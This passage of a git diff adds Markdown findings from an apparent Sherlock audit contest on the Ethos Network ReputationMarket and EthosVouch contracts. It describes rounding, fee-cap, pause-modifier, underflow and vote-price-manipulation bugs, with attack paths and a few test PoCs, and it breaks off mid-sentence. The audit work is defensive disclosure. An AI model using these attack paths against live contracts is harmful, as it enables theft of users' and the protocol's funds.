+- `_checkSlippageLimit` Implementation +```solidity + function _checkSlippageLimit( + uint256 actual, + uint256 expected, + uint256 slippageBasisPoints + ) private pure { + uint256 minimumVotes = expected.mulDiv( + SLIPPAGE_POINTS_BASE - slippageBasisPoints, + SLIPPAGE_POINTS_BASE, + Math.Rounding.Ceil + ); + if (actual < minimumVotes) { + revert SlippageLimitExceeded(actual, expected, slippageBasisPoints); + } + } +``` +- Vulnerable line +```solidity +uint256 minimumVotes = expected.mulDiv( + SLIPPAGE_POINTS_BASE - slippageBasisPoints, + SLIPPAGE_POINTS_BASE, + Math.Rounding.Ceil + ); +``` + +### Root Cause + +```solidity + uint256 minimumVotes = expected.mulDiv( + SLIPPAGE_POINTS_BASE - slippageBasisPoints, + SLIPPAGE_POINTS_BASE, + Math.Rounding.Ceil + ); +``` + +`SLIPPAGE_POINTS_BASE - slippageBasisPoints` in this implementation if the value of `slippageBasisPoints` is greater than `SLIPPAGE_POINTS_BASE` it can cause integer underflow. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. In [ReputationMarket contract](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol) call `buyVotes` function where the value of `slippageBasisPoints` parameter is greater than `10000` + +```solidity +// Lets assume +slippageBasisPoints= 12000; +``` + +3. The buyVotes function calls `_checkSlippageLimit` with these following arguments +```solidity + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); +// Here slippageBasisPoints is 12000 +``` +4. The value of `SLIPPAGE_POINTS_BASE` is `10000` +5. `_checkSlippageLimit` performs insecure calculations +```solidity +uint256 minimumVotes = expected.mulDiv( + SLIPPAGE_POINTS_BASE - slippageBasisPoints, + SLIPPAGE_POINTS_BASE, + Math.Rounding.Ceil + ); +``` +- This can cause integer underflow +```solidity +uint256 minimumVotes = expected.mulDiv( + 10000 - 12000, + 12000, + Math.Rounding.Ceil + ); +``` + +### Impact + +The buy votes operation will revert + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/208.md b/208.md new file mode 100644 index 0000000..e6190df --- /dev/null +++ b/208.md @@ -0,0 +1,66 @@ +Rich Sapphire Frog + +Medium + +# PreviewFees() in ReputationMarket.sol doesn't round off in the favour of the protocol + +### Summary + +The method `previewFees()` is rounding off in the favour of the user. + +```solidity + function previewFees( + uint256 amount, + bool isEntry + ) private view returns (uint256 funds, uint256 protocolFee, uint256 donation) { + if (isEntry) { +@=> protocolFee = (amount * entryProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + donation = (amount * donationBasisPoints) / BASIS_POINTS_BASE; + } else { +@=> protocolFee = (amount * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + } + funds = amount - protocolFee - donation; + } +``` + +### Root Cause + +`https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1141C3-L1152C4` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The protocol is losing on the protocol fees. Which will add up to bigger amounts with time. + +### PoC + +_No response_ + +### Mitigation + +Round all the fee amounts in the favour of the protocol. +```solidity + function previewFees( + uint256 amount, + bool isEntry + ) private view returns (uint256 funds, uint256 protocolFee, uint256 donation) { + if (isEntry) { +@=> protocolFee = amount.mulDiv(entryProtocolFeeBasisPoints, BASIS_POINTS_BASE, Math.Rounding.Ceil); + donation = (amount * donationBasisPoints) / BASIS_POINTS_BASE; + } else { +@=> protocolFee = amount.mulDiv(exitProtocolFeeBasisPoints, BASIS_POINTS_BASE, Math.Rounding.Ceil); + } + funds = amount - protocolFee - donation; + } +``` \ No newline at end of file diff --git a/209.md b/209.md new file mode 100644 index 0000000..0adb953 --- /dev/null +++ b/209.md @@ -0,0 +1,61 @@ +Rich Sapphire Frog + +Medium + +# Method calcFee() should round off in the favour of the protocol + +### Summary + +All the fee amounts in the `calcFee()` is rounded to `Math.Rounding.Floor`. Which will lead to protocol losing on part of protocol fees on each `vouch()` and `unvouch()`. + +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + /* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ +@=> return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } + +``` + +### Root Cause + +`https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L986C5-L988C100` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The loss of part of protocol revenue. + +### PoC + +_No response_ + +### Mitigation + +Round off to `Math.Rounding.Ceil` +```solidity +return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Ceil)); +``` \ No newline at end of file diff --git a/210.md b/210.md new file mode 100644 index 0000000..6fc601d --- /dev/null +++ b/210.md @@ -0,0 +1,54 @@ +Rich Sapphire Frog + +Medium + +# slashing amount is calculated incorrectly leading to protocol loss + +### Summary + +The method `slash()` slashes `slashBasisPoints` from each vouch. But the slash amount is calculated on ***vouch.balance***. Which is not the total amount. Instead it has multiple fees deducted from it. Also, the rounding is in the favour of the user and not the protocol. + +```solidity +uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); +``` + +### Root Cause + +`https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L535C9-L538C30` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The calculated ***slashAmount*** will be less as firstly we are calculating slashAmount on `vouch.balance`. Secondly, the rounding is not in the favour of the protocol. + +### PoC + +_No response_ + +### Mitigation + +The ***slashAmount*** should be calculated as follows: + +```solidity +uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + (BASIS_POINT_SCALE - entryProtocolFeeBasisPoints - entryDonationFeeBasisPoints - entryVouchersPoolFeeBasisPoints), + Math.Rounding.Ceil + ); + +``` \ No newline at end of file diff --git a/211.md b/211.md new file mode 100644 index 0000000..cafa472 --- /dev/null +++ b/211.md @@ -0,0 +1,43 @@ +Rich Sapphire Frog + +High + +# A single user can create any number of vouches and markUnhealthy in a loop without getting slashed + +### Summary + +A user can `vouch()` -> `unvouch()` -> `markUnhealthy()` any number of times. It will not be impacted by `slash()`. + +### Root Cause + +1. Method `vouch()` `https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L369` checks `_vouchShouldNotExistFor()` which will be true if the user `unvouch()` before. + +2. Method `unvouch()` `https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L463` marks vouch as archived. Also, remove the entry from all the author -> profileId arrays and mappings. + +3. Method `slash()` `https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L534` skips archived vouches. So there is no impact on the attacker if it doesn't have any active vouches. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +A user can bombard with bulk unhealthy vouches by following `vouch()` -> `unvouch()` -> `markUnhealthy()`. + +Let's check the attack cost. The minimum amount to create a vouch is 0.0001 ether. Let's assume the total fees of all sort is 10%. The user gets 0.00009 ether on `unvouch()`. So each loop costs user 0.00001 ether. A total of 10000 unhealthy vouches will cost user 0.1 ether. Which is a very feasible attack. + +### PoC + +_No response_ + +### Mitigation + +Reevaluate the vouch flow. Don't allow user to create a vouch on profileId which it has marked as unhealthy previously. \ No newline at end of file diff --git a/212.md b/212.md new file mode 100644 index 0000000..8b68355 --- /dev/null +++ b/212.md @@ -0,0 +1,71 @@ +Fresh Flint Dinosaur + +High + +# Malicious attackers can steal funds by buying and selling votes in one transaction from the reputation market + +# Malicious attackers can steal funds by buying and selling votes in one transaction from the reputation market + +### Summary + +Users can buy on sell votes in one transaction and the vote price is changed according the voting count. +Using this vulnerability, malicious attackers can steal funds from the market. + +### Root Cause + +The `buyVotes` and `sellVotes` function does not check whether they are called in one transaction. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L534 + +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant + + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant +``` + +Users can change the vote price by calling these functions in one transaction to steal funds. + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +- There is the market with `0.01 ether` as initial liquidity. +- For the simplicity, ignore the protocol and donation fees. +- Alice buys and sells votes in one transaction: + - buy 1 trust vote: pay basePrice * 1 / 2 + - buy 1 distrust vote: pay basePrice * 1 / 3 + - buy 1 trust vote: pay basePrice * 1 / 2 + - sell 1 distrust vote: receive basePrice * 1 / 4 + - sell 1 trust vote: receive basePrice * 2 / 3 + - sell 1 trust vote: receive basePrice * 1 / 2 + +As a result, Alice receives `basePrice * 1 / 12` ethers additionally. + +Alice can also steal funds using this vulnerability in general status of the market, not only in scenario. + +### Impact + +Malicious attackers can steal funds of the market. + +### PoC + +None + +### Mitigation + +Improve the vote price calculation mechanism or restrict users not to buy and sell votes in one transaction diff --git a/213.md b/213.md new file mode 100644 index 0000000..777fba3 --- /dev/null +++ b/213.md @@ -0,0 +1,96 @@ +Fresh Flint Dinosaur + +High + +# Fee Mismanagement in the `ReputationMarket.buyVotes` Function + +### Summary + +In the `ReputationMarket` contract, the `buyVotes` function currently accumulates `fundsPaid`, which inadvertently includes both the protocol entry fee and donation fee into `marketFunds`. This results in the protocol fee being transferred twice in the `withdrawGraduatedMarketFunds` function, leading to a potential loss of funds for the protocol. + +### Root Cause + +The issue originates in the `_calculateBuy` function, where `fundsPaid` is calculated to include the `protocolFee` and `donation` as shown. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 + +```solidity + fundsPaid += protocolFee + donation; +``` + +In the `buyVotes` function, the protocol and donation fee are transferred to the `protocolFeeAddress` and stored in the `donationEscrow` variable. However, the total `fundsPaid` is then added to `marketFunds[profileId]` at line 481: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L464-L481 + +```solidity +@> applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +@> marketFunds[profileId] += fundsPaid; +``` + +In the `withdrawGraduatedMarketFunds` function, the entire amount in `marketFunds[profileId]` is sent to the authorized graduation withdrawal address: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675 + +```solidity + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + +@> _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } +``` + +This process inadvertently attempts to transfer the fee amounts as well, leading to the double counting of fees. + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +Fee mismanagement causes the protocol's loss of funds. + +### PoC + +None + +### Mitigation + +In the `buyVotes` function, subtract protocol and donation fee from `marketFunds[profileId]` diff --git a/214.md b/214.md new file mode 100644 index 0000000..a124359 --- /dev/null +++ b/214.md @@ -0,0 +1,51 @@ +Cheesy Cinnabar Mammoth + +Medium + +# MAX_TOTAL_FEES exceeds 10% + +### Summary + +The README states that "Maximum total fees cannot exceed 10%", however, a typo in `EthosVouch.sol` enables MAX_TOTAL_FEES to be set to 100%. + +### Root Cause + +MAX_TOTAL_FEES is set to 100%, not 10%. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +### Internal pre-conditions + +n/a + +### External pre-conditions + +n/a + +### Attack Path + +There are 4 fees in EthosVouch: +- entryProtocolFeeBasisPoints +- exitFeeBasisPoints +- entryDonationFeeBasisPoints +- entryVouchersPoolFeeBasisPoints + +The sum of all of these should not exceed 1000 (10%), however, the typo enables these fees to be set to 10,000 (100%): +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996-L1004 + +### Impact + +Fees can now exceed 10% which goes against the protocol's intentions and invariant mentioned in the README. + +### PoC + +_No response_ + +### Mitigation + +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/215.md b/215.md new file mode 100644 index 0000000..d1b4253 --- /dev/null +++ b/215.md @@ -0,0 +1,67 @@ +Fresh Flint Dinosaur + +High + +# Mismanagement of `amountDistributed` in the `_rewardPreviousVouchers` Function + +### Summary + +In the `EthosVouch` contract, the `_rewardPreviousVouchers` function currently does not set the value of the `amountDistributed` variable, resulting in it defaulting to zero at line [L700](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L700). + +In the `applyFees` function, it changes the `vouchersPoolFee` value using returned value. +Consequently, the `vouches[count]` tracks a higher vouching amount than the actual distributed value, leading to potential financial losses for the protocol. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L949 + +```solidity + function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees + uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); + uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); + uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + + // Distribute fees + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); + } + if (vouchersPoolFee > 0) { + // update the voucher pool fee to the amount actually distributed +@> vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } +@> totalFees = protocolFee + donationFee + vouchersPoolFee; + toDeposit = amount - totalFees; +``` + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +This causes the protocol's loss of funds. + +### PoC + +None + +### Mitigation + +In the `applyFees` function, don't change the `vouchersPoolFee` variable. diff --git a/216.md b/216.md new file mode 100644 index 0000000..030584f --- /dev/null +++ b/216.md @@ -0,0 +1,84 @@ +Fresh Flint Dinosaur + +Medium + +# Incorrect fees calculation in the `EthosVouch.applyFees` function causes the voucher's loss of funds + +### Summary + +In the `EthosVouch` contract, the [`applyFees`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936-938) function currently calculates the protocol, donation, and vouchersPool fees individually. + +In the [`calcFee`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975) function, fees are computed using the following formula: + +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +``` + +As a result, individual fees are calculated as following: + +```solidity + protocolFee = amount - (amount * 10000 / (10000 + entryProtocolFeeBasisPoints)) + donationFee = amount - (amount * 10000 / (10000 + entryDonationFeeBasisPoints)) + vouchersPoolFee = amount - (amount * 10000 / (10000 + entryVouchersPoolFeeBasisPoints)) +``` + +This approach leads to incorrect fees calculation, resulting in potential financial losses for users. + +Instead of individual calculation, first, it should calculate `totalFees` as following: + +```solidity + totalFees = amount - (amount * 10000 / (10000 + entryProtocolFeeBasisPoints + entryDonationFeeBasisPoints + entryVouchersPoolFeeBasisPoints)) +``` + +And calculates the individual fees according to the individual basis points from `totalFees`. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936-938 + +```solidity + function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees +@> uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); +@> uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); +@> uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); +``` + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +The incorrect fee calculation may cause users to lose funds. + +### PoC + +None + +### Mitigation + +Instead of individual calculation, first, it should calculate `totalFees` as following: + +```solidity + totalFees = amount - (amount * 10000 / (10000 + entryProtocolFeeBasisPoints + entryDonationFeeBasisPoints + entryVouchersPoolFeeBasisPoints)) +``` + +And calculates the individual fees according to the individual basis points from `totalFees`. diff --git a/217.md b/217.md new file mode 100644 index 0000000..a789828 --- /dev/null +++ b/217.md @@ -0,0 +1,67 @@ +Zealous Golden Aardvark + +Medium + +# Users can increase vouch during a paused contract state + +### Summary + +The [`EthosVouch::increaseVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L426) function is a core functionality that allows increasing vouch for a particular `vouchId`. +However, this function lacks the `whenNotPaused` modifier, which violates the design of the contract where all other core user facing functions have it. +```solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant { <@ // Lack of `whenNotPaused` modifier +``` +Hence, it allows users to increase vouch in a paused contract state, which can lead to loss of funds. + +### Root Cause + +In [`EthosVouch.sol:426`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L426), there is a missing `whenNotPaused` modifier. + +### Internal pre-conditions + +1. Admin needs to pause the `EthosVouch.sol` contract via `InteractionControl::pauseContract` or `InteractionControl::pauseAll` depending upon criticality of the situation at hand. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. During a paused state, an innocent user calls the [`EthosVouch::increaseVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L426). + +### Impact + +1. Pausing contract can be done for various reasons, some of them might be due to an unexpected hack or any critical case, during such a situation, allowing to increase vouch which is a core functionality, that allows users to indirectly deposit native tokens, can lead to loss of funds. + +### PoC + +The test given below was added in `vouch.increase.test.ts` file. +```typescript + it ('should be able to increase vouch in a paused state', async () => { + const { vouchId, balance } = await userA.vouch(userB, { paymentAmount: initialAmount }); + + const protocolFeeAmount = calculateFee(increaseAmount, entryFee).fee; + const donationFeeAmount = calculateFee(increaseAmount, donationFee).fee; + const expectedDeposit = increaseAmount - protocolFeeAmount - donationFeeAmount; + // Pausing this particular contract + await deployer.interactionControl.contract.connect(deployer.OWNER).pauseContract('ETHOS_VOUCH'); + // Checking if the contract is paused + expect(await deployer.ethosVouch.contract.paused()).to.be.true; + // Increasing the vouch amount in a paused state + await deployer.ethosVouch.contract + .connect(userA.signer) + .increaseVouch(vouchId, { value: increaseAmount }); + + const finalBalance = await userA.getVouchBalance(vouchId); + // Successfull increase in vouch amount + expect(finalBalance).to.be.closeTo(balance + expectedDeposit, 1n); + + }); + ``` + +### Mitigation + +It is recommended to add a `whenNotPaused` modifier to the `increaseVouch` function. +```solidity + function increaseVouch(uint256 vouchId) public payable whenNotPaused nonReentrant { +``` \ No newline at end of file diff --git a/218.md b/218.md new file mode 100644 index 0000000..831273f --- /dev/null +++ b/218.md @@ -0,0 +1,100 @@ +Slow Tan Swallow + +Medium + +# Users would receive rewards even if their vouch balance is bellow the min + +### Summary + +`EthosVouch` has a min cap for making a vouch, which is 0.0001 ETH. That is in order for users to not create vouches with dust amounts. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L119 +```solidity + uint256 private constant ABSOLUTE_MINIMUM_VOUCH_AMOUNT = 0.0001 ether; +``` + +That can is used when making a vouch: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L379-L382 +```solidity + // must meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } +``` + + +Or when increasing one: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426-L430 +```solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } +``` + +However that cap is not confirmed when slashing is performed, meaning users can have vouches less than that minimum + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L528-L555 +```solidity + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + + if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } + } + } + + if (totalSlashed > 0) { + // Send slashed funds to protocol fee address + (bool success, ) = protocolFeeAddress.call{ value: totalSlashed }(""); + if (!success) revert FeeTransferFailed("Slash transfer failed"); + } +``` + +With those vouches users still show support and earn rewards, even thought their vouches would be bellow the min requirement and can be considered dust. + +### Root Cause + +`slash` not validation vouches for their minimum balance + +### Internal pre-conditions + +1. `slash` must be called on a user with near `configuredMinimumVouchAmount` amount + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Alice has a few vouches that are near the min allowed +2. Alice misbehaves and gets slashed +3. Her vouches are not bellow `configuredMinimumVouchAmount` +4. Since they are small in balance it's not worth getting them out + +These vouches would: +1. Earn rewards, even though they are bellow the min and considered dust +2. Show support (as another user vouching) +3. Take space and act as dead weight, as users can have up to 256 vouchers and these dust vouches would just take some of the slots, where real vouchers with bigger vouches would gladly be + +### Impact + +Vouches containing only dust will earn rewards and show support. They would also clog the system as every user can have up to 256 vouchers. + +### PoC + +_No response_ + +### Mitigation + +Since that amount would be too small, `slash` can take that amount also in order for those vouches to not be left as dead weight. \ No newline at end of file diff --git a/219.md b/219.md new file mode 100644 index 0000000..ef1650a --- /dev/null +++ b/219.md @@ -0,0 +1,57 @@ +Zealous Golden Aardvark + +Medium + +# Total fees in reputation market can exceed 10% + +### Summary + +The [`ReputationMarket::setDonationBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L593), [`ReputationMarket::setEntryProtocolFeeBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L604) and [`ReputationMarket::setExitProtocolFeeBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L617) setter functions can be used by the admin to set fees. +However, the `README` section states: `Maximum total fees cannot exceed 10%` +This has been taken care of in the `EthosVouch` contract by using [`EthosVouch::checkFeeExceedsMaximum`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L996), such similar check is missing in the `ReputationMarket` contract. +Hence, the given invariant under "Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths?" can be broken. + +### Root Cause + +Missing `checkFeeExceedsMaximum` check in [`ReputationMarket::setDonationBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L593), [`ReputationMarket::setEntryProtocolFeeBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L604) and [`ReputationMarket::setExitProtocolFeeBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L617) functions. + + +### Internal pre-conditions + +1. Admin should set fees by calling [`ReputationMarket::setDonationBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L593), [`ReputationMarket::setEntryProtocolFeeBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L604) and [`ReputationMarket::setExitProtocolFeeBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L617) in a way that the total sum exceeds 1000 basis points, i.e `>10%`. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Admin sets fees by calling [`ReputationMarket::setDonationBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L593), [`ReputationMarket::setEntryProtocolFeeBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L604) and [`ReputationMarket::setExitProtocolFeeBasisPoints`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L617) such that total basis points `> 1000`. + +### Impact + +1. The given invariant under "Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths?" will be broken. + +### PoC + +Below test case was added in the `rep.fees.test.ts` file's `describe('Setting Fees')` block: +```solidity + it('should allow admin to set total fees > 10%', async () => { + // Setting fees to 5% each + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(500); + expect(await reputationMarket.entryProtocolFeeBasisPoints()).to.equal(500); + await reputationMarket.connect(deployer.ADMIN).setExitProtocolFeeBasisPoints(500); + expect(await reputationMarket.exitProtocolFeeBasisPoints()).to.equal(500); + await reputationMarket.connect(deployer.ADMIN).setDonationBasisPoints(500); + expect(await reputationMarket.donationBasisPoints()).to.equal(500); + const newEntryFee = await reputationMarket.entryProtocolFeeBasisPoints(); + const newExitFee = await reputationMarket.exitProtocolFeeBasisPoints(); + const newDonationFee = await reputationMarket.donationBasisPoints(); + const totalFees = newEntryFee + newExitFee + newDonationFee; + expect(totalFees).to.be.equal(1500); // Total fees is 15%, which is greater than the given invariant of 10% + }); +``` + +### Mitigation + +It is recommended to add similar check ([`EthosVouch::checkFeeExceedsMaximum`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L996)), that is used in `EthosVouch` contract. \ No newline at end of file diff --git a/220.md b/220.md new file mode 100644 index 0000000..5d367c1 --- /dev/null +++ b/220.md @@ -0,0 +1,52 @@ +Small Inky Baboon + +High + +# users pay fee more than actual value in ReputationMarket::buyVotes + +### Summary + +users pay fee more than actual value in `ReputationMarket::buyVotes` + +### Root Cause + +fees would compute based on total amount which would send to `ReputationMarket::buyVotes` not based on fundsPaid + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L960 + +### PoC + +**Textual PoC** +1- let's assume base price 1 eth and there is 5 positive and 5 negative vote and userA decide to 